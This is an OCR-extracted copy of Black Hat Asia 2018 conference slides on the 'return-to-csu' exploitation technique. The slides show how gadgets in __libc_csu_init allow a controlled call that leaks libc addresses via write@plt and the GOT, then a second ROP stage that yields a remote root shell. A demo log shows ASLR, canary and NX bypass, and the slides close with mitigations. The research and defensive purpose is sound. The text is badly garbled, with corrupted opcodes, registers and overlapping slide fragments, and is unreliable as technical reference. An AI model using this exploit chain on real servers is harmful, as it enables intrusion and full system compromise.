520: 48 8 3 €9 Oa 20 00 lea  0x200a69(srip) erdi # 201010 <_mec m0_> R 02 o
55 push  &rl 29 e5 sub #r12, %rbp
48 8 05 o1 0a 20 00 lea  Ox200ael (irip) brax # 201010 <_mec m0_> RR=m 2 =
48 39 £8 cmp di, $re 48 cl £d 0 sar 3, %:
48 89 o5 mov #rsp, sxbp 8 77 fe £f £f callg 4b8 <_init>
74 19 3o 550 <deregister_tn_clonest0x30> R = =
48 sb 05 5a 0a 20 00 0x200aa (3zip) ,Trax 4 200£48 < 1T deregisterTuCloneTable> At 50 R e
85 co test  srax,srax L A
74 0d Je 550 <deregister_tm clones+0x30> 0f 1£ 84 00 00 00 00 nopl  0x0(%rax,%rax,1) L]
5d. Pop. sxl 00 o
££ @0 Jmpq  *irax 4c 89 ea mov. #r13, ¥rdx
66 26 of 1f 84 00 00 hopw  %cs:0x0 (trax,trax, 1) et N
0 00 00 s it
54 pop  rbp 41 ££ 14 de callg *(sr12,%rbx,8) '
el retq 48 83 c3 01 add $0x1, hrbx ' -
g - : B owrilte-whg&~ghere
66 26 of 1f 84 00 00 Ropw  tcs:0x0 (krax,brax,1) 75 e Sne 650 <_libc csu_initsoxdo>
00 48 83 c4 08 add $0x8, rsp
> pop b
0000000000000560 <register_tn clones>: = B &2
S60: 48 8 3d a9 0a 20 0O 0x200a89 (3zip) , brdi # 201010 <_me m0_> o B R
48 8 35 a2 0a 20 00 Ox200aa2 (3rip) brsi # 201010 <m0 > i B & ° N
5 sxbp 41 5e pop  irle
829 fo ard, arst i B = x
1889 o5 arsp,szbp oL =2
48 c1 fe 03 $023 4zt e oo
‘G e 66 2e OF 1f 84 00 00 nopw  %cs:0x0(srax,trax,1) 0
48 c1 8 3t sox3t, srax et
8 01 c6 trax, trsi o = X
Bk e = 0000000000000680 <_1ibe_csu_fini>: @
74 18 520 <register_tn_clonest0xi0> R rops rota
48 sb 05 61 0a 20 00 0x200a61 (srip) , brax 4 200££0 < 1T registermCloneTable;
B e e e Cm e Disassembly of section .fini:
74 0c Jo Sa0 <register_tn clonestoxto>
54 pop  ax 0000000000000684 <_£1ni:
££ e0 mpq ax 4: 48 83 ec 08 sub  $0x8,3rsp
66 of 1t 84 00 00 00 hopw  0x0 (3rax, Srax, 1) s R B
G 6 3 retq
pop  drbp
Py retq
of 1 40 00 nopl  Ox0(srax)
66 26 of 1f 84 00 00 nopw  %cs:0x0 (trax,rax, 1)
00 00 00




L.

black hat 3. Return-to-csu: Analyzing the “extra code
ASIA 20183

2) Manual analysis of the “attached code” for fun and profit
* We found something interestingin  1ibc csu init ()

0000000000000610 < 1libc csu _init>:
650: 4c 89 ea mov %$rl3,%rdx
653: 4c 89 f£6 mov %$rl4d ,%rsi
656: 44 89 ff mov $rl5d, $edi
659: 41 £f 14 dc callg *(%rl2,%rbx,8)
65d: 48 83 c3 01 add $0x1, $rbx
661: 48 39 dd cmp %rbx, $rbp
664: 75 ea jne 650 < libc csu init+0x40>
666: 48 83 c4 08 add $0x8,%rsp
66a: 5b pop $rbx
66b: 5d pop %rbp
66¢: 41 5c pop %rl2
66e: 41 5d pop %rl3
670: 41 5e pop %rl4
672: 41 5f pop %rl5
674: c3 retq
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L.

blackhat 3. Return-to-csu: Analyzing the “extra code’
ASIA 2018

2) Manual analysis of the “attached code” for fun and profit
* We found something interestingin  1ibc csu init ()

0000000000000610 < libc csu init>:
650: 4c 89 ea mov %$rl3,%rdx
653: 4c 89 f£6 mov %$rl4d ,%rsi
656: 44 89 ff mov %rl5d, $edi
659: 41 £f 14 dc callg *(%rl2,%rbx,8)
65d: 48 83 c3 01 add $0x1, $rbx
661: 48 39 dd cmp %rbx, $rbp
664: 75 ea jne 650 < libc csu init+0x40>
666: 48 83 c4 08 add $0x8,%rsp
Zng 22 pop frbx Gadget 1: not bad, we control:
66c; el e gzg ;;?g rbx, rbp,rl12,r13,rl4,rl5
66e: 41 5d pop 3% 5 ic J E N S The interesting ones are:
670: 41 5e pop $rl4 rdi: First argument
672: 41 5f pop $rl5 rsi: Second argument
674: c3 retq Gadget 1 rdx: Third argument
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L.

blackhat 3. Return-to-csu: Analyzing the “extra code’
ASIA 2018

2) Manual analysis of the “attached code” for fun and profit
* We found something interestingin  1ibc csu init ()

0000000000000610 < libc csu init>: Gadget 2: arguments + call
e e e Gadget 2 edi from r13
650: 4c 89 ea mov $r13, %rdx rsifromrl4
653: 4c 89 f6 mov $rld,%rsi | T rdx from r15
delug 0 B R wEy wEleg, uEed To control the destination
659: 41 £f 14 dc callq *(%rl2,%rbx,8) we need rbx and r12
65d: 48 83 c3 01 add $0x1, %rbx
661: 48 39 dd cmp %rbx, $rbp
664: 75 ea jne 650 < libc csu init+0x40>
666: 48 83 c4 08 add $0x8,%rsp
ggaf 212 Pop frbx Gadget 1: not bad, we control:
662; 2‘: e gzg ;;?g rbx, rbp,rl12,r13,rl4,rl5
66e: 41 5d pop 3% 5 ic J E N S The interesting ones are:
670: 41 5e pop $rl4 rdi: First argument
672: 41 5f pop $rl5 rsi: Second argument
674: c3 retq Gadget 1 rdx: Third argument
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blackhat 3. Return-to-csu: Analyzing the “extra code’
ASIA 2018

2) Manual analysis of the “attached code” for fun and profit
* We found something interestingin  1ibc csu init ()

0000000000000610 < libc csu init>: Gadget 2: arguments + call

e e e Gadget 2 edi from|r13
650: 4c 89 ea mov $rl3, $rdx rsi fromfr14| _
653: 4c 89 £6 mov $rld,srsi [T rdx from|r15 5‘*~\\
delug 0 B R Wy WELEE, REEh To control the destination ~“«
659: 41 ££f 14 dc callg *(%rl2,%rbx,8) we need rbx and 12 \\
65d: 48 83 c3 01 add $0x1, $rbx - A :
661: 48 39 dd cmp $rbx, $rbp K A :
664: 75 ea jne 650 < libc_csu_init+0x40> _’ _ !
666: 48 83 c4 08 add  $0x8,%rsp it / :
gggf 22 pop fﬂ:‘ Gaglget 1: ngt bad, we control: !
66c; el e g:g ;;112) Erbp,rlZ,rlB,rllI,rlSI’
66e: 41 5d pop 3% 5 ic J E N S The interesting ones are:
670: 41 5e pop $rl4 rdi: First argument
672: 41 5f pop $rl5 rsi: Second argument
674: c3 retq Gadget 1 rdx: Third argument
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3. Return-to-csu: A controlled ecall

blackhat

ASIA 2018

3) Universal urop to control the execution flow from  1ibc csu init ()

Gadget 1 Gadget 2
pop $rbx _-->mov $rl3, %$rdx
pPop srbp mov %rld ,srsi
pop %rl2 mov %$rl5d, $edi
pop $rl3 callg *(%rl2,%rbx, 8)
pop %rl4
pPop %rl5 _~
retq ---~ -
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3. Return-to-csu: A controlled ecall

blackhat

ASIA 2018

3) Universal urop to control the execution flow from  1ibc csu init ()

Gadget 1 Gadget 2
pop $rbx - > mov $rl3, %$rdx
pPop %rbp mov %rld ,srsi
pop %rl2 mov %$rl5d, $edi
pop %$rl3 callg *(%rl2,%rbx, 8)
pop %rl4
Pop %rl!';: s
retq ---~

| C code

void (*funcPtr) (void *,void *,void *);

funcPtr = addr;
(*funcPtr) (argl, arg2, arg3);
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3. Return-to-csu: A controlled ecall

3) Universal urop to control the execution flow from  1ibc csu init ()

Gadget 1 Gadget 2
pop $rbx - > mov $rl3, %$rdx
pop %rbp mov %rld ,srsi
pop %rl2 mov %$rl5d, $edi
pop %$rl3 callg *(%rl2,%rbx, 8)
pop %rl4
pop %r1§ s
retq ----

| C code

funcPtr = addr;
(*funcPtr) (argl, arg2, arg3);

void (*funcPtr) (void *,void *,void *);

A controlled call where:

addr = rl2 + (rbx * 8)
funcPtr = addr;

argl = edi1
arg2 = rsi
arg3 = rdx

We can jump where we want and
control up to 3 arguments.

edl only the 32 lowest bits
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3. Return-to-csu: A controlled ecall

3) Universal urop to control the execution flow from  1ibc csu init ()

Gadget 1 Gadget 2
pop $rbx - > mov $rl3, %$rdx
pop %rbp mov %rld ,srsi
pop %rl2 mov %$rl5d, $edi
pop %$rl3 callg *(%rl2,%rbx, 8)
pop %rl4
pop %r1§ s
retq ----

| C code

funcPtr = addr;
(*funcPtr) (argl, arg2, arg3);

void (*funcPtr) (void *,void *,void *);

A controlled call where:

addr = rl2 + (rbx * 8)
funcPtr = addr;

argl = edi__onlythe 32 lowest bits
argZ2 = rsi
arg3 = rdx

We can jump where we want and
control up to 3 arguments.

edl only the 32 lowest bits
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3) Universal urop to control the execution flow from  1ibc csu init ()  eH

. . x stack
Considering only the we have:
* ApROP chain but no gadgets like write-what-where. i
e Control of 3 arguments: But only values
* Wecanset rsito0x55743e8a8000 - .r.n.nza.tzla_b.a.S.e.--
e Butnotrsi -> {“sh”, “-i”, NULL} K
 Half rdi: we have edi @

Control flow: We can specify the destinationofa call

No EAX control, nor SYSCALL/SYSENTER/INT 0x80 gadgets I
* We cannot execute syscalls @ % hea
p

exec
Attached Code
LOW

 We don’t know where are loaded: stack, 1ibs, heap, ...
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black hat 3. Return-to-csu: A controlled ecall

ASIA SIS

3) Universal urop to control the execution flow from  1ibc csu init ()  eH

. . x stack
Considering only the we have:
* ApROP chain but no gadgets like write-what-where. i
* Control of 3 arguments: But only values
* Wecanset rsito0x55743e8a8000 - .r.n.nza.tzla_b.a.S.e.--
e Butnotrsi -> {“sh”, “-i”, NULL} K
 Half rdi: we have edi @

Control flow: We can specify the destination of a call

No EAX control, nor SYSCALL/SYSENTER/INT 0x80 gadgets I

* We cannot execute syscalls @ X oo
 We don’t know where are loaded: stack, 1ibs, heap, ...

exec
We want a generic method: What can we do?

LOW
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black hat 3. Return-to-csu: looking for a destination
ARG VA= I M =]

4) Info leak with a nROP : Analyzing the PLTs/GOTs
* Let’s review again the “attached code”

$ gcc empty.c -o empty

$ nm -a empty | grep " t\| T"

[0000000000000520 t deregister tm clones

00000000000005b0 t _ do global dtors_aux

0000000000200d£f8 t _ do global dtors_aux fini array entry
0000000000000684 T fini

0000000000000684 t .fini

0000000000200d£f8 t .fini array

00000000000005£0 t frame dummy

0000000000200df0 t __ frame dummy init array entry
00000000000004b8 T _init

00000000000004b8 t .init

0000000000200d£f0 t .init_array

0000000000200d£f8 t _ init array end

0000000000200df0 t _ init array start

0000000000000680 T _ libc csu_fini

0000000000000610_ T libc csu init
[oo000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register tm clones
00000000000004£f0 T _start
00000000000004£f0 t .text
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* Let’s review again the “attached code”

$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"

3. Return-to-csu: looking for a destination

4) Info leak with a nROP : Analyzing the PLTs/GOTs

0000000000000520 t deregister_ tm clones
00000000000005b0 t _ do global dtors_aux

0000000000200df8 t _ do_global dtors_aux fini array entry
0000000000000684 T fini

0000000000000684 t .fini

0000000000200d£f8 t .fini array

00000000000005£0 t frame dummy

0000000000200df0 t __ frame dummy init array ent
00000000000004b8 T _init

00000000000004b8 t .init

0000000000200d£f0 t .init_array

0000000000200d£f8 t _ init array end
0000000000200d£f0 t

0000000000000680 T

0000000000000610 T

00000000000005fa T

PLTs are good candidates:

* They are part of the

* Wecancallany QPLT

e Basic interaction of any program
e read()/write () or send () /recv ()

00000000000004e0

.plt.got
register tm clones
_start

. text

0000000000000560
00000000000004£0
00000000000004£0

e
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black hat 3. Return-to-csu: looking for a destination
ARG VA= I M =]

4) Info leak with a nROP : Reusing the connection

Attached Code

Basic sever calling read () /write () only

$ objdump -d --section=.plt simple
simple: file format elf64-x86-64

Disassembly of section .plt:

00000000000005d0 <.plt>:

5d0: £ff 35 d2 09 20 00 pushg 0x2009d2 (%$rip)
5d6: £ff 25 d4 09 20 00 jmpgq *0x2009d4 (%rip)
5dc: Of 1£f 40 00 nopl 0x0 (%rax)

00000000000005£f0 <write@plt>:

5f£0: ff 25 ca 09 20 00 Jjmpqg *0x2009ca (%$rip)
5f6: 68 01 00 00 OO pushg $0x1
5fb: e9 d0 ff ff ff jmpgq 5d0 <.plt>

0000000000000610 <read@plt>:
610: £ff 25 ba 09 20 00 Jjmpqg *0x2009ba (%$rip)
616: 68 03 00 00 0O pushg $0x3
61b: e9 b0 f£ff ff ff jmpqgq 5d0 <.plt>
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4) Info leak with a nROP : Reusing the connection

Attached Code

| Basic sever calling read () /write () only

$ objdump -d --section=.plt simple
simple: file format elf64-x86-64

Disassembly of section .plt:

00000000000005d0 <.plt>:

5d0: ££f 35 d2 09 20 00
5d6: ££f 25 d4 09 20 00
S5dc: Of 1f 40 00

00000000000005£0 <write@plt>:

5f£0: ff 25 ca 09 20 00 Jjmpqg *0x2009ca (%$rip)
5f6: 68 01 00 00 OO pushg $0x1

5fb: e9 d0 ff ff ff jmpgq 5d0 <.plt>
0000000000000610 <read@plt>:

610: £ff 25 ba 09 20 00 Jjmpqg *0x2009ba (%$rip)
616: 68 03 00 00 0O pushg $0x3

6lb: e9 b0 ff ff ff jmpgq 5d0 <.plt>

el

-

#

3. Return-to-csu: looking for a destination

|write@plt(int,

void *, size t); |

1+t arg: file descriptor (fd) ()
2"d arg: buffer to write (*buff)
3™ arg: Bytes to write (count) (1)




blgc’:khat 3. Return-to-csu: looking for a destination |
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4) Info leak with a nROP : Reusing the connection

Re-use the £d from accept () @

e We are connected to the server
e Therefore there is a £d connected to us

/  |f we write into that £d we’ll see the content
|write@plt (int, void *, Size%fﬁ_ * |tisan integer value we can predict

15t arg: file descriptor (£d) ~
2" arg: buffer to write (*buff)
3" arg: Bytes to write (count)
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black hat 3. Return-to-csu: looking for a destination
ARG VA= I M =]

4) Info leak with a nROP : Reusing the connection

Re-use the £d from accept () @
 We are connected to the server
 Therefore there is a £d connected to us
/ * If we write into that £d we’ll see the content
* Itisan integer value we can predict

.

|write@plt (int, wvoid *, size%t’ﬁ

15t arg: file descriptor (£d) ~
2nd arg: buffer to write (*buff) — We can put any value (addr) here but:

Bl \ * This is exactly how the GOT looks! @

e GOT is located in the BNIEH =l Mot [=

* Itis an array containing 1ib addresses!
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blackhat 3. Return-to-csu: looking for a destination
ARG VA= I M =]

4) Info leak with a nROP : Reusing the connection

Re-use the £d from accept () @
 We are connected to the server
 Therefore there is a £d connected to us
/ * If we write into that £d we’ll see the content
* Itisan integer value we can predict

.

|write@plt (int, wvoid *, size%t’ﬁ

15t arg: file descriptor (£d) ~
2nd arg: buffer to write (*buff) — We can put any value (addr) here but:

* The *addr must be useful @
* This is exactly how the GOT looks!

e GOT is located in the BNIEH =l Mot [=

* Itis an array containing 1ib addresses!

3" arg: Bytes to write (count)

Bytes to be written: ©

* Unsigned integer that we fully control
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blackhat 3. Return-to-csu: Info leak with a pROP

ASIA 2018

4) Info leak with a pROP : De-randomizing libraries

e Direct 1ibc de-randomization

Leaking write () address example

fd = 4

write@plt (4, &GOT TABLE[1],

8)

/V

Assuming that accept () returned 4
* Wejustneedtoset fdto 4
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4) Info leak with a pROP : De-randomizing libraries

e Direct 1ibc de-randomization

Leaking write () address example

fd = 4

write@plt (4, &GOT TABLE[1],

8)

Assuming that accept () returned 4

We just need to set fd to 4

buff = &GOT TABLE[1]

To leak where the 11bc is:

* The addr will point to the GOT TABLE[1]
Then *addr will contain write () address

* Therefore the 1ibc is de-randomized




—

#

L.

blackhat 3. Return-to-csu: Info leak with a pROP
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4) Info leak with a pROP : De-randomizing libraries
 Direct 1ibc de-randomization

£d = 4
Leaking write () address example Assuming that accept () returned 4

write@plt (4, &GOT TABLE[1], 8); We just need to set £d to 4

f’ -~

~
~

A
buff = &GOT TABLE[1]

Attached Code P

00000000000005d0 <.plt>: i To leak where the 1 1bc is:

5d0: £f£f 35 d2 09 20 00 pushg 0x2009d2 ¢%rip) . .

5d6: ££ 25 d4 09 20 00 jmpg  *0x2009d4 ($zip) * The addr will point to the GOT TABLE[1]
Sde:  0f 1f 40 00 nopl °"°I"%ra") Then *addr will contain write () address
00000000000005£0 <write@plt>: f * Therefore the 1ibc is de-randomized

5£0: £ff 25 ca 09 20 00 jmpgq *0F2009ca(%rip)

5f6: 68 01 00 00 OO pushg $0x1

5fb: e9 d0 ff £ff ff jmpg  5d0 <.plt>

0000000000000610 <read@plt>:

610: £f£f 25 ba 09 20 00 jmpgq *0x2009ba (%rip)

616: 68 03 00 00 00 pushqg $0x3

61b: e9 b0 £f ff ff jmpg  5d0 <.plt>
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4) Info leak with a pROP : De-randomizing libraries
 Direct 1ibc de-randomization

£d = 4
Leaking write () address example Assuming that accept () returned 4

write@plt (4, &GOT TABLE[1], 8); * We just need to set £d to 4

— e

- -~y
f’ ~

4
buff = &GOT TABLE[1]

Attached Code P

00000000000005d0 <.plt>: i To leak where the 1 1bc is:

5d0: £f£f 35 d2 09 20 00 pushg 0x2009d2 ¢%rip) . .

5d6: ££ 25 d4 09 20 00 jmpg  *0x2009d4 ($zip) * The addr will point to the GOT TABLE[1]
Sde:  0f 1f 40 00 nopl oxol"%rax) Then *addr will contain write () address
00000000000005£0 <write@plt>: f * Therefore the 1ibc is de-randomized

5£0: £ff 25 ca 09 20 00 jmpgq *0F2009ca(%rip)

5f6: 68 01 00 00 OO pushg $0x1

5fb: e9 d0 ff ff ff jmpq 5d0 <.plt>

o A count = 8

0000000000000610 <read@plt>: :

610: ££ 25 ba 09 20 00 jmpg  *0x2009ba (3rip) Bytes to be written/leaked:

616: 68 03 00 00 00 pushqg $0x3 , : _

61b: €9 b0 £ff £f £f jmpg  5d0 <.plt> * Addressesin 64 bits = 8 bytes
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4) Info leak with a pROP : De-randomizing libraries
 Direct 1ibc de-randomization

fd = 4
Leaking write () address example Assuming that accept () returned 4
write@plt (4, & ) * Wejust need to set fd to 4
~~
or_masiz 1]
00000000000005d0 <.plt>: 'k)CZiS:

5d0: £f 35 d2 09 20 O
5d6: £f 25 d4 09 20 O

to the GOT TABLE[1]
5dc: Of 1£f 40 00

ntain write () address
is de-randomized

00000000000005£0 <write(@p
5f0: ff 25 ca 09 20 O

5f6: 68 01 00 00 OO pushg $0x1

5fb: e9 do0 ff ff ff jmpgq 5d0 <.plt>

o« o o e o o e o o count — 8
0000000000000610 <read@plt>: :

610: ££ 25 ba 09 20 00 jmpg  *0x2009ba (3rip) Bytes to be written/leaked:

616: 68 03 00 00 00 pushq $0x3 . : : _

61b: e9 b0 £ff £f £f jmpg  5d0 <.plt> Addressesin 64 bits = 8 bytes
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blackhat 3. Return-to-csu: Building the final attack
ASIA 2018

5) Building the final £ul1-ROP attack: Getting a shell

* Using the 1ibc is trivial to generate ful1l-ROP chains
e Tools now can create automatic full—-ROP chains
 We can execute arbitrary code

The attack in two stages:

Stage 1: Create a nROP-chain payload to leak a 1ibc address
 Attackers will receive where the 1ibc isin memory

Stage 2: Create a second payload using the input of the stage 1
e ThisROP-chainusesall 1ibc
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blackhat 3. Return-to-csu: Building the final attack
AN VA= M=

5) Building the final ful1-RoP attack: return-to-csuin a stack buffer overflow

4 Stage 1: Payload to leak write () address
L Attached Code
| Gadget 3
‘e Gadget 1 Gadget 2 . P<writelplt>:
> - - pop $rbx _--|>mov $rl3, srdx e,’ jmpg  *0x2009ca (%rip) ﬂ .
o pop Srbp /’ mov %$rld,%rsi Il pushg $0x1 write () addr
pop %rl2 / e mov %rl5d, %edi L’ jmpq 5d0 <.plt> ,I
pop $rl3 I’ callg *(%rl2,%rbx,8)-~ I
PopP %rld |/ /
pop %r15,// /
retq_--- - / d
7’
- - -
payload input ===~ -

— o —
_—————————_———————————
— - -
— -

{ Stage 2: Payload to create a full ROP-chain to execute arbitrary code ,
.' RN
"\ libc Gadget 1 libc Gadget 2/ _--»> libc Gadget n

Sl > pop grdi | _ _--- > pop %rdx/l // ,,,-——$syscall —‘ remote Shell/\
e Pop $rsi /6 retq - --~ 1 _____ g G ‘ arbitrary exec

retq---~"""
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black hat 3. Return-to-csu: When can we use return-to-csu
AS|IA 2018 #BHASIA

- Forking Server X Inetd Server
PIE Executable Non-PIE Executable

I
I
/
/
/
/

PIE Executable Non-PIE Executable

Brute force

(offset2lib attack)

/
R e
N\

-+ return-to-csu attack [«--

Note: Per boot-ASLRs == Forking Server
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black hat 3. Return-to-csu: Enriching automatic tools
ASIA 20183

Why automatic tools like ropper and ropshell. com failed?

 Automatic ROP-chain generation are clever but have limitations

 They are focused on profitable gadgets and try to linked them

Gadget 2

* In this case they didn’t find Gadget 2 which was key e

p —=g MOV $rld,%rsi

T . mov %$rlbd, %edi
* Probably because r13,r14 and r15 are in moi’s and not in pops | callq *(3r12,%rbx,8)

A better knowledge about which registers we control will improve these tools

When advanced ROP tools say “there are not enough gadgets” it is not
always true. A manual inspection can reveal valid gadgets.



2
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ASIA 2018

We have modified ropper to support return-to-csu

* New support for dup2 () rop chain generation
* New support for execve () with ({“bash”, “i”, NULL}, NULL)as args

$ ./Ropper.py -help

example uses:
./Ropper.py --file /bin/ls --info
./Ropper.py --file /bin/ls --imports
./Ropper.py —--file /bin/ls --sections
./Ropper.py —--file /bin/ls --segments
./Ropper.py —--file /bin/ls --set nx
./Ropper.py —--file /bin/ls --unset nx

./Ropper.py --file /home/BH/server --ret2csu "£fd=0x4"
./Ropper.py --file /bin/ls /lib/libc.so.6 —--console
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return-to—-csu
DEMO
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black hat 5. DEMO: return-to-csu
AS| A =S

To show a more realistic PoC:

We bypass NX, SSP, ASLR, FORTIFY and RELRO in a fully updated Linux.

App. relocatable Yes -fpie -pie

Lib. relocatable Yes -Fpic

ASLR config. Enabled randomize va space = 2
SSP Enabled -fstack-protector-all
Arch. 64 bits x86 64 GNU/Linux

NX Enabled PAE or x64

RELRO Full -Wl,-z,relro, -z, now
FORTIFY Yes -D FORTIFY SOURCE=2

Optimization Yes -02



black hat 5. DEMO: return-to-csu
AS|A =15

smashing detected N . ver 64 PIE S55P
smashing detected P er b4 PLE_55F
smashing detected ==*%:  fserver_6d4_PIE_SSP
smashing detected s rver G4 PIE S55P
smashing detccted ¥, .fserver 64 PIE 55P
smashing detected =**¥,  /seryer 64 PIE S5P
smashing detected ik RN rver G4 PIE S5F
smashing detected *: .fserver 64 PIE 55P
smashing detected ***; ,/se b4 _PIE_55P
emashing detected k. fserver G4 PIE S55P
smashing detected *: .fserver 64 PIE 55F

[+] Dffset b bytes e A Jexplolt-server 64 PIE-renewssp.py -5 Lecalhost
[+] Brute forcing stack [+] Exploit ASLR &4 bit systems
[+] 55P wvalue is @xb59d2363bdEcebbb [#] Trying to find out the canary offse
r] ]

[+] Brute Torcing RB ITToet 15 56 bytes

[+] EBP walue B BA080 000808580800 farcing stack canary
+] Brute forcing Sawved RIP ’ ng S5P walue: Bx20200000087547a00

[+] RIP walue @xBEBOT Te2 T TEhE

[+] Text Base at

[+] Libc Base at BxA0087fe2ff2cafnng
[+] Getting shel

rootEbruto: Fro

id

uid=8(root) gi (root) groups=8(root
rootEbrut r

ouch hello
rootitbruto: froot#

ls -1 hello

MW-T=-=F 1 root
rootighruto: froot# pwd

rootiEbruto: froot# whoami

whoami

L —
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6. Mitigations and solutions

Mitigation 1: Move some of the gadgetsto 1ibc
The attack needs the 3 gadgets otherwise it will fail
Applications must be recompiled

We have implemented a path to move

4 Stage 1: Payload to leak write () address

Gadget 2 |tO

libc

Attached Code

' Gadget 1
S~ > pop Srbx
o pop Srbp
pop %rl2
pop %rl3
pop %rl4
pop %rl@z'
retq__---"~

.TGSQQet 2

- > mov
mov
mov
ca

%$rl3,%r
rsi
1 edi
*(%rl2,%

8) -

-

-~

e

/

Gadget 3

<write@plt>:

'/' jmpq
) Pushq
Jmpq

*0x2009ca (%rip)
S0x1
5d0 <.plt>

Without Gadget 2 the Stage 1 ROP-chain will fail
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ASIA SIS

Mitigation 2: Update 1ibc to remove the gadget

* Manipulate the source code affecting some gadgets
« Updating Gadget 2 to use different register in the call
* We have patched 1ibc to replace|callg *(%rl2, $rbx, 8)

by' callg * (%rcx, %rax, 8)

4 Stage 1: Payload to leak write () address
L Attached Code
Gadget 3
‘\\ Gadget 1 Gadget 2 <%write@plt>:
= - - pop %rbx PPt > mov %rl3,srdx jmpg  *0x2009ca (%rip)
o pop  %rbp - mov  %rld,srsi pushg  $0x1

pop %rl2 ,’e mov %rl5d, %edi jmpqgq 5d0 <.plt>
pop $rl3 || callqg *(%rcx,%rax,8)
Pop %rld |, \\ 7
PoP %r15,// N Y
retq__---" No control

Without the control of the callqgthe Stage 1 ROP-chain will fail




le:khat 6. Mitigations and solutions
AS|A =15

Mitigation 3: Patching the current applications
* |f we don’t have the source code we can patch the ELF to remove gadgets

* This mitigation can be applied to all already installed executables

Two flavors:

1. Overwrite with zeros 1ibc csu init () right before main ()
* Not clean approach: need to deal with page protections,
* The added code could be abused by attackers like 1ibc csu init ()

2. Patch the ELF to replace bad opcodes by ones without the gadget
* Wecreated r2csu-patch: Asmall C program to replace bad opcodes

* The resulting ELF is 100% compatible and introduces minor changes
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HIGH

The desired solution is to move all code to 1ibc (14.s0)

 This will stop the return-to-csu attack
 All executable code would be user-controllable i

 Compiler protections: SSP, FORTIFY, etc.

,’/ ) Id.so

This solution is hardly applicable in real life ibe-so
 Backward compatibility: Executables with the attached code will '

execute it twice (1ibc and executable). New 1ibc call to avoid this. i T
 All sections can not be moved: .plt .got ;

* Lazy binding requires use of the .plt \ o

* Eliminating .plt stubs require .got loads . exec
* Global variables from shared libraries (R 386 GLOB DAT) need .got \'

LOW
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How did we find it?
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e return-to-csuisamethod to automate the construction of exploits to
bypass the ASLR in 64-bit systems.

 To go beyond automatic tools: Manual inspection for rare gadget detection
* We showed why we can’t trust these tools. They hid the best gadget.

* We presented how to use a ptROP to leak arbitrary memory content by
abusing of minimal code always present.

 The “attached code” invalidates other security techniques:
* Instruction-set randomization; the executable contains code not randomized
e Security options from compiler: SSP, FORTIFY, etc.

* We have presented some workarounds to prevent abuse of these gadgets

 The ideal solution would be to move the “attached code” to 1ibc
 The executable should contain only the code generated by application
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Thank you for your time
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